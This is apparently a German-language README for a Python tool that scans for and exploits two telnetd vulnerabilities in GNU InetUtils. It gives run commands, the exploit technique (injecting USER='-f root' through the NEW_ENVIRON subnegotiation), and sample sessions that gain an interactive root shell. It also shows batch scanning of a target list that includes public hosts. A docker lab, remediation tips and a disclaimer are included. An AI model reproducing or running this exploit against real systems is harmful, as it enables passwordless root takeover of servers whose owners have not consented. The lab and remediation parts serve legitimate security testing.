
scanner/exploiter CVE-2026-24061 & CVE-2026-32746
Ein Python-basiertes Sicherheitsbewertungstool, das zwei kritische Schwachstellen in GNU InetUtils telnetd erkennt und (wo zutreffend) ausnutzt:
USER-Umgebungsvariable (CVSS 9.8)Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt.
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch oder durch dieses Tool verursachte Schäden. Nutzung auf eigene Gefahr.

TELNET_SCAN_VERBOSE=1, um jedes IAC-Paket und die schrittweise Exploit-Beschreibung zu sehengit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Testen Sie den Exploit gegen ein bekanntes verwundbares Ziel, ohne reale Systeme zu gefährden:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
Das Lab führt ein verwundbares GNU InetUtils 2.5 telnetd in einem isolierten Container aus, der nur an localhost gebunden ist. Keine Netzwerkexposition.
Debuggen Sie den Telnet-Handshake und sehen Sie genau, was auf der Leitung passiert:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
Die ausführliche Ausgabe zeigt:

1192.168.1.100 oder example.com)23, wenn leer gelassen)1 – Beide Schwachstellen2 – Nur CVE-2026-24061 (Authentifizierungsumgehung)3 – Nur CVE-2026-32746 (Pufferüberlauf)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# This is a comment line - ignored
223)Wenn CVE-2026-24061 erfolgreich ist:
id, whoami, ls)Strg+C, um die Shell zu verlassen und zum Scanner-Menü zurückzukehrenKein separates Terminal oder zusätzliche Schritte erforderlich.
Der Exploit folgt einem präzisen 6-Schritte-Telnet-Handshake, um die Kompatibilität mit echten GNU InetUtils telnetd zu gewährleisten:
DO-OptionenTTYPE, TSPEED, XDISPLOC, NEW_ENVIRON bestätigenUSER="-f root" per NEW_ENVIRON-Subnegotiation setzenDO/WILL für SGA, ECHO, LINEMODE, NAWS antwortenEin Keepalive-Thread sendet alle 2 Sekunden IAC NOP, um zu verhindern, dass ttloop() von telnetd EOF erkennt und exit(1) aufruft, bevor die Payload verarbeitet wird.
Verwundbares telnetd übergibt -f root an /usr/bin/login, umgeht die Authentifizierung und gewährt sofortigen Root-Shell-Zugriff.
LINEMODE-Option (RFC 1184)=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 1
Port (default 23):
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100
[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...
[*] Checking if service is reachable...
[+] Service reachable
[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[STEP 1/6] Waiting for server negotiation (may take up to 15s)...
[STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
decoded: IAC DO TERMINAL-TYPE
decoded: IAC DO TERMINAL-SPEED
decoded: IAC DO X-DISPLAY-LOCATION
decoded: IAC DO NEW-ENVIRON
[STEP 2/6] Responding WILL to all DO options
[STEP 3/6] Waiting for SB SEND subnegotiation requests...
[STEP 4/6] Sending subnegotiation responses...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[STEP 5/6] Handling remaining option negotiations...
[STEP 5/6] Text received: 'root@vuln-lab:~# '
[RESULT] SUCCESS: Passwordless root login via USER="-f root" injection
=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit
Choose option: 2
Port (default 23):
Enter filename with targets (one per line): targets.txt
Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
[*] Loaded 3 targets from targets.txt
==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable
[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!
[?] Shell obtained! Interact now? (y/N): n
[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable
==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23
==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable
[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable
[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)
============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================
Wenn Sie verwundbare Systeme entdecken, wenden Sie diese Korrekturen an:
NEW_ENVIRON USER-Werten, die mit -f beginnenDas enthaltene lab/-Verzeichnis bietet eine sichere, reproduzierbare Testumgebung:
cd lab
docker compose up -d
# Wait ~10 seconds for telnetd to initialize
python3 ../telnet_scanner.py
# Target: 127.0.0.1, Port: 2323
Lab-Funktionen:
labuser:labpass123) zum DebuggenStoppen Sie das Lab, wenn Sie fertig sind:
cd lab && docker compose down

Besonderer Dank an @leetcrypt – Der korrekte 6-Schritte-Handshake, Keepalive-Thread, ausführlicher Modus und Docker-Lab sind der Hammer!
HAFTUNGSAUSSCHLUSS: Nur für autorisierte Sicherheitstests und Bildungszwecke.
# root@$